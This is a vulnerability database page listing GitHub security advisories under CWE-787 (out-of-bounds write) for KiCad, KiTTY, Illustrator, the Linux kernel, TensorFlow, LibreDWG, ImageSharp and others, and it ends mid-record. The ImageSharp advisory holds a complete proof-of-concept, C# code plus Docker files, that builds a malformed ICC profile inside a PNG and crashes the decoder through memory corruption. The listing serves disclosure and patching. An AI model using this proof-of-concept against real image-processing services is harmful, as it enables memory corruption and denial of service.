CWE-787
Allowed-with-ReviewOut-of-bounds Write
Abstraction: Base · Status: Draft
The product writes data past the end, or before the beginning, of the intended buffer.
16845 vulnerabilities reference this CWE, most recent first.
GHSA-FFGM-4QMX-XP28
Vulnerability from github – Published: 2022-02-17 00:00 – Updated: 2022-04-01 00:01A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadIJCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-23804"
],
"database_specific": {
"cwe_ids": [
"CWE-121",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-16T17:15:00Z",
"severity": "HIGH"
},
"details": "A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadIJCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.",
"id": "GHSA-ffgm-4qmx-xp28",
"modified": "2022-04-01T00:01:09Z",
"published": "2022-02-17T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23804"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/05/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/08/msg00010.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5EMCGSSP3FIWCSL2KXVXLF35JYZKZE5Q"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1453"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2022/dsa-5214"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFGQ-5R6G-59G7
Vulnerability from github – Published: 2024-02-09 09:31 – Updated: 2024-02-14 21:30KiTTY versions 0.76.1.13 and before is vulnerable to a stack-based buffer overflow via the username, occurs due to insufficient bounds checking and input sanitization (at line 2600). This allows an attacker to overwrite adjacent memory, which leads to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2024-25004"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-09T07:16:00Z",
"severity": "HIGH"
},
"details": "KiTTY versions 0.76.1.13 and before is vulnerable to a stack-based buffer overflow via the username, occurs due to insufficient bounds checking and input sanitization (at line 2600). This allows an attacker to overwrite adjacent memory, which leads to arbitrary code execution.",
"id": "GHSA-ffgq-5r6g-59g7",
"modified": "2024-02-14T21:30:33Z",
"published": "2024-02-09T09:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25004"
},
{
"type": "WEB",
"url": "https://blog.defcesco.io/CVE-2024-25003-CVE-2024-25004"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/177031/KiTTY-0.76.1.13-Command-Injection.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/177032/KiTTY-0.76.1.13-Buffer-Overflows.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Feb/13"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Feb/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFGW-JXV7-9VP7
Vulnerability from github – Published: 2024-11-12 21:30 – Updated: 2024-11-12 21:30Illustrator versions 28.7.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
{
"affected": [],
"aliases": [
"CVE-2024-45114"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T19:15:12Z",
"severity": "HIGH"
},
"details": "Illustrator versions 28.7.1 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-ffgw-jxv7-9vp7",
"modified": "2024-11-12T21:30:52Z",
"published": "2024-11-12T21:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45114"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/illustrator/apsb24-87.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFH9-3R79-5Q5H
Vulnerability from github – Published: 2026-07-19 18:31 – Updated: 2026-07-20 15:31In the Linux kernel, the following vulnerability has been resolved:
ASoC: codecs: fs210x: fix possible buffer overflow
In fs210x_effect_scene_info(), a string was copied like this:
strscpy(DST, SRC, strlen(SRC) + 1);
A buffer overflow would happen if strlen(SRC) >= sizeof(DST). Actually, strscpy() must be used this way:
strscpy(DST, SRC, sizeof(DST));
strscpy(DST, SRC); // defaults to sizeof(DST)
{
"affected": [],
"aliases": [
"CVE-2026-64041"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-19T16:17:44Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: codecs: fs210x: fix possible buffer overflow\n\nIn fs210x_effect_scene_info(), a string was copied like this:\n\n strscpy(DST, SRC, strlen(SRC) + 1);\n\nA buffer overflow would happen if strlen(SRC) \u003e= sizeof(DST).\nActually, strscpy() must be used this way:\n\n strscpy(DST, SRC, sizeof(DST));\n strscpy(DST, SRC); // defaults to sizeof(DST)",
"id": "GHSA-ffh9-3r79-5q5h",
"modified": "2026-07-20T15:31:56Z",
"published": "2026-07-19T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64041"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/0d435a7ebcd4e97e47673c1ab6fb27f973a053ec"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1ddf678bb75b6383c775ece61d40956c441d8a26"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6daefdf1cd3c56483f61970a76c0ad6028e4118f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFHW-7RJ7-7C3X
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38A vulnerability has been identified in Solid Edge (All Versions < SE2021MP2). Affected applications lack proper validation of user-supplied data when parsing PAR files. This could lead to a stack based buffer overflow. An attacker could leverage this vulnerability to execute code in the context of the current process.
{
"affected": [],
"aliases": [
"CVE-2020-28384"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-12T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in Solid Edge (All Versions \u003c SE2021MP2). Affected applications lack proper validation of user-supplied data when parsing PAR files. This could lead to a stack based buffer overflow. An attacker could leverage this vulnerability to execute code in the context of the current process.",
"id": "GHSA-ffhw-7rj7-7c3x",
"modified": "2022-05-24T17:38:36Z",
"published": "2022-05-24T17:38:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28384"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-979834.pdf"
},
{
"type": "WEB",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-012-04"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-055"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-076"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FFJM-4QWC-7CMF
Vulnerability from github – Published: 2022-09-16 21:04 – Updated: 2022-09-19 19:56Impact
The ScatterNd function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will either write content at the wrong index or trigger a crash.
Patches
We have patched the issue in GitHub commit b4d4b4cb019bd7240a52daa4ba61e3cc814f0384.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Hui Peng from Baidu Security.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35939"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T21:04:23Z",
"nvd_published_at": "2022-09-16T20:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nThe [`ScatterNd`](https://github.com/tensorflow/tensorflow/blob/266558ac4c1f361e9a178ee9d3f0ce2e648ae499/tensorflow/lite/kernels/internal/reference/reference_ops.h#L659-L698) function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will either write content at the wrong index or trigger a crash.\n\n### Patches\nWe have patched the issue in GitHub commit [b4d4b4cb019bd7240a52daa4ba61e3cc814f0384](https://github.com/tensorflow/tensorflow/commit/b4d4b4cb019bd7240a52daa4ba61e3cc814f0384).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Hui Peng from Baidu Security.",
"id": "GHSA-ffjm-4qwc-7cmf",
"modified": "2022-09-19T19:56:51Z",
"published": "2022-09-16T21:04:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-ffjm-4qwc-7cmf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35939"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/b4d4b4cb019bd7240a52daa4ba61e3cc814f0384"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/266558ac4c1f361e9a178ee9d3f0ce2e648ae499/tensorflow/lite/kernels/internal/reference/reference_ops.h#L659-L698"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite"
}
GHSA-FFJX-M5FM-M25W
Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23An issue was discovered in GNU LibreDWG 0.7 and 0.7.1645. There is a heap-based buffer overflow in the function dwg_decode_eed_data at decode.c for the y dimension.
{
"affected": [],
"aliases": [
"CVE-2019-9770"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-14T09:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in GNU LibreDWG 0.7 and 0.7.1645. There is a heap-based buffer overflow in the function dwg_decode_eed_data at decode.c for the y dimension.",
"id": "GHSA-ffjx-m5fm-m25w",
"modified": "2022-05-13T01:23:06Z",
"published": "2022-05-13T01:23:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9770"
},
{
"type": "WEB",
"url": "https://github.com/LibreDWG/libredwg/issues/99"
},
{
"type": "WEB",
"url": "https://savannah.gnu.org/bugs/index.php?55893"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107447"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFM7-29RH-WG67
Vulnerability from github – Published: 2025-02-06 15:32 – Updated: 2025-02-06 15:32Arbitrary write vulnerability in the Gallery module Impact: Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2024-57955"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-06T13:15:39Z",
"severity": "MODERATE"
},
"details": "Arbitrary write vulnerability in the Gallery module \nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-ffm7-29rh-wg67",
"modified": "2025-02-06T15:32:52Z",
"published": "2025-02-06T15:32:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57955"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2025/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FFP7-56PQ-64MR
Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24Summary
When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with
more than four output channels can corrupt memory during ImageSharp color
conversion. The ICC parser accepts up to 15 CLUT output channels, while the
conversion implementation stores intermediate values in Vector4.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
The reproduced ColorProfileHandling.Convert path and the unsafe Vector4 LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.
Details
IccClut accepts one through fifteen input and output channels. In the
reproduced A2B0 LUT16 path, an attacker-controlled profile declares three
input channels and fifteen output channels. ClutCalculator.Calculate
passes a pointer to a four-float Vector4 result into interpolation code that
writes one float per declared output channel. It consequently writes fifteen
floats. The same LUT16 tag also has fifteen output LUTs; their
LutEntryCalculator.CalculateLut
implementation uses Unsafe.Add from the first float of a four-float Vector4.
An application reaches this code by decoding an image containing the profile
with DecoderOptions.ColorProfileHandling set to Convert. Preserve is the
default and does not run ICC conversion.
Reproduction environment and result
The supplied exploit and control were run against the published NuGet 4.1.1
net8.0 DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30.
The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below.
Complete control output:
mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0
Complete exploit output:
mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139
No active exploitation is known.
Impact
Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths.
Complete PoC files
Program.cs:
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private static void U32(Stream stream, uint value)
{
Span<byte> bytes = stackalloc byte[4];
BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
stream.Write(bytes);
}
private static void U16(Stream stream, ushort value)
{
Span<byte> bytes = stackalloc byte[2];
BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
stream.Write(bytes);
}
private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));
// A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
// difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
private static byte[] BuildIcc(int outCh)
{
const int inCh = 3;
const int clutPoints = 2;
const int tableEntries = 2;
using var stream = new MemoryStream();
byte[] header = new byte[128];
BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
stream.Write(header);
U32(stream, 1); // one tag
stream.Write(Encoding.ASCII.GetBytes("A2B0"));
long offsetField = stream.Position; U32(stream, 0);
long sizeField = stream.Position; U32(stream, 0);
long tagStart = stream.Position;
stream.Write(Encoding.ASCII.GetBytes("mft2"));
U32(stream, 0);
stream.WriteByte(inCh);
stream.WriteByte((byte)outCh);
stream.WriteByte(clutPoints);
stream.WriteByte(0);
for (int y = 0; y < 3; y++)
{
for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
}
U16(stream, tableEntries);
U16(stream, tableEntries);
for (int channel = 0; channel < inCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
for (int point = 0; point < 8; point++)
{
for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
}
for (int channel = 0; channel < outCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
long tagEnd = stream.Position;
byte[] result = stream.ToArray();
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
return result;
}
private static byte[] BuildPng(byte[] icc)
{
using var source = new Image<Rgb24>(16, 16);
source.Metadata.IccProfile = new IccProfile(icc);
using var encoded = new MemoryStream();
source.SaveAsPng(encoded);
return encoded.ToArray();
}
public static int Main(string[] args)
{
string mode = args.Length == 1 ? args[0] : "exploit";
if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control");
int outputChannels = mode == "exploit" ? 15 : 3;
Console.WriteLine($"mode={mode} output_channels={outputChannels}");
Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
byte[] png = BuildPng(BuildIcc(outputChannels));
Console.WriteLine($"png_bytes={png.Length}");
var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
using Image image = Image.Load(options, png);
Console.WriteLine("decode_completed");
return 0;
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
<Private>true</Private>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
<Private>true</Private>
</Reference>
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY ffp7.csproj Program.cs ./
# Restore only to obtain the published package. The repro project then uses a
# direct DLL reference so ImageSharp's package build target is not invoked.
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build ffp7.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]
Run:
docker build -t imagesharp-ffp7-poc .
docker run --rm imagesharp-ffp7-poc control
docker run --rm imagesharp-ffp7-poc exploit
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106112"
],
"database_specific": {
"cwe_ids": [
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:24:37Z",
"nvd_published_at": "2026-10-06T18:16:52Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen ICC conversion is enabled, a malformed embedded ICC LUT16 profile with\nmore than four output channels can corrupt memory during ImageSharp color\nconversion. The ICC parser accepts up to 15 CLUT output channels, while the\nconversion implementation stores intermediate values in `Vector4`.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.\n\n### Details\n\n`IccClut` accepts one through fifteen input and output channels. In the\nreproduced `A2B0` LUT16 path, an attacker-controlled profile declares three\ninput channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)\npasses a pointer to a four-float `Vector4` result into interpolation code that\nwrites one float per declared output channel. It consequently writes fifteen\nfloats. The same LUT16 tag also has fifteen output LUTs; their\n[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)\nimplementation uses `Unsafe.Add` from the first float of a four-float `Vector4`.\n\nAn application reaches this code by decoding an image containing the profile\nwith `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the\ndefault and does not run ICC conversion.\n\n### Reproduction environment and result\n\nThe supplied exploit and control were run against the published NuGet 4.1.1\n`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and\n.NET runtime 8.0.30.\n\nThe control changes only the declared output-channel count from fifteen to\nthree and completes successfully. The exploit terminates with exit status 139\nbefore it reaches the completion marker. This runtime PoC establishes memory\ncorruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which\nunsafe write first corrupts the stack. The full self-contained Docker PoC is\nincluded below.\n\nComplete control output:\n\n```text\nmode=control output_channels=3\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=204\ndecode_completed\nDocker exit status: 0\n```\n\nComplete exploit output:\n\n```text\nmode=exploit output_channels=15\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\npng_bytes=207\nDocker exit status: 139\n```\n\nNo active exploitation is known.\n\n### Impact\n\nApplications that enable ICC conversion while processing attacker-supplied\nimages can be made to terminate through memory corruption in the reproduced\nLUT16 CLUT/output-LUT path. This report is limited to output-channel counts\ngreater than four in that path; it does not claim a TRC issue or other\nunreproduced ICC paths.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System;\nusing System.Buffers.Binary;\nusing System.IO;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Metadata.Profiles.Icc;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstatic class Program\n{\n private static void U32(Stream stream, uint value)\n {\n Span\u003cbyte\u003e bytes = stackalloc byte[4];\n BinaryPrimitives.WriteUInt32BigEndian(bytes, value);\n stream.Write(bytes);\n }\n\n private static void U16(Stream stream, ushort value)\n {\n Span\u003cbyte\u003e bytes = stackalloc byte[2];\n BinaryPrimitives.WriteUInt16BigEndian(bytes, value);\n stream.Write(bytes);\n }\n\n private static void Fixed16(Stream stream, double value) =\u003e U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));\n\n // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control\n // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.\n private static byte[] BuildIcc(int outCh)\n {\n const int inCh = 3;\n const int clutPoints = 2;\n const int tableEntries = 2;\n using var stream = new MemoryStream();\n\n byte[] header = new byte[128];\n BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3\n Encoding.ASCII.GetBytes(\"mntr\").CopyTo(header, 12); // display device\n Encoding.ASCII.GetBytes(\"RGB \").CopyTo(header, 16);\n Encoding.ASCII.GetBytes(\"XYZ \").CopyTo(header, 20);\n stream.Write(header);\n\n U32(stream, 1); // one tag\n stream.Write(Encoding.ASCII.GetBytes(\"A2B0\"));\n long offsetField = stream.Position; U32(stream, 0);\n long sizeField = stream.Position; U32(stream, 0);\n long tagStart = stream.Position;\n\n stream.Write(Encoding.ASCII.GetBytes(\"mft2\"));\n U32(stream, 0);\n stream.WriteByte(inCh);\n stream.WriteByte((byte)outCh);\n stream.WriteByte(clutPoints);\n stream.WriteByte(0);\n for (int y = 0; y \u003c 3; y++)\n {\n for (int x = 0; x \u003c 3; x++) Fixed16(stream, x == y ? 1D : 0D);\n }\n\n U16(stream, tableEntries);\n U16(stream, tableEntries);\n for (int channel = 0; channel \u003c inCh; channel++)\n {\n U16(stream, 0); U16(stream, ushort.MaxValue);\n }\n\n for (int point = 0; point \u003c 8; point++)\n {\n for (int channel = 0; channel \u003c outCh; channel++) U16(stream, 0x8000);\n }\n\n for (int channel = 0; channel \u003c outCh; channel++)\n {\n U16(stream, 0); U16(stream, ushort.MaxValue);\n }\n\n long tagEnd = stream.Position;\n byte[] result = stream.ToArray();\n BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);\n BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));\n BinaryPrimitives.WriteUInt32BigEndian(result, 